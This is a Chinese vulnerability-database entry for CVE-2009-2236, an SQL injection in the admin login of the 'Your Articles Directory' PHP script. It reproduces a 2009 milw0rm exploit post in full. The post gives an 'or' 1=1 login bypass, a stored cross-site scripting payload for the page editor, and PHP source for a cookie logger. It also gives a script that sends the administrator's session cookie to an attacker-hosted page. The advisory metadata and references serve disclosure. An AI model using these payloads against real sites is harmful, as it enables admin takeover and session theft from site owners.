Your Articles Directory 'yad-admin/login.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117814 漏洞类型 SQL注入
发布时间 2009-05-21 更新时间 2009-06-29
CVE编号 CVE-2009-2236 CNNVD-ID CNNVD-200906-433
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8761
https://cxsecurity.com/issue/WLB-2009050052
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200906-433
|漏洞详情
YourArticleDirectory的yad-admin/login.php中存在SQL注入漏洞。远程攻击者可以借助txtAdminEmail参数,执行任意SQL指令。
|漏洞EXP
___ ___         __                        
 /   |   \_____  |  | _____  ___ ___________
/    ~    \__  \ |  |/ /\  \/  // __ \_  __ \
\    Y    // __ \|    <  >    <\  ___/|  | \/
 \___|_  /(____  /__|_ \/__/\_ \\___  >__|  
       \/      \/     \/      \/    \/   :: Egy Coders Team Researcher
/- Your Article Directory => multiple vulnerabilities
/- site : http://www.yourarticlesdirectory.com
/- Demo : http://www.ezynearticles.com/designs/demo/yad-admin
/- Greetz : all my friends
/- http://hakxer.blogspot.com/

* hi every body
* in this vulnerability you can get Authentication to bypass admin panel
* first go to http://host/path/yad-admin/
* and in admin type
 * username : admin 'or' 1=1
 * password : hakxer
* now we in panel
* you can make a cross site scripting vulnerability in panel
* go to http://host/path/yad-admin/newpage.php
* then in title write anything and in content write
 * >"<script>alert("hakxer")</script><div style="1
* and click save page and go to http://host/path/yad-admin/pages.php
* and goto this http://host/path/yad-admin/newpages.php?id=[id]
* xss was running successfully

* if you want to get the admin cookie
* you can use cookie grabber and to make it you can see this steps :
         * first make file ( logger.php ) and input this code in it
              <?php
            $cookie = $_GET['cookie'];
            $logger = fopen("logger.txt", "a");
            fwrite($logger, $cookie ."\n");
            fclose($logger);
            ?>
         * and upload file into any webhost
         * then create logger.txt and chmod it to 777
         * now the time to attack
         * goto http://host/path/yad-admin/newpage.php
         * and in title write ( blah blah come admin ) :d
         * and in content write this js code
    <script>document.location ="http://host/path/logger.php?cookie=" + document.cookie;</script>
         * and click save page
         * now if admin go to our saved page the cookie will send to logger.txt

** notes :
        ** use it in your own risk
       
./be safe - Hakxer -

# milw0rm.com [2009-05-21]
|参考资料

来源:XF
名称:yourarticledirectory-login-sql-injection(50669)
链接:http://xforce.iss.net/xforce/xfdb/50669
来源:BID
名称:35059
链接:http://www.securityfocus.com/bid/35059
来源:MILW0RM
名称:8761
链接:http://www.milw0rm.com/exploits/8761
来源:SECUNIA
名称:35192
链接:http://secunia.com/advisories/35192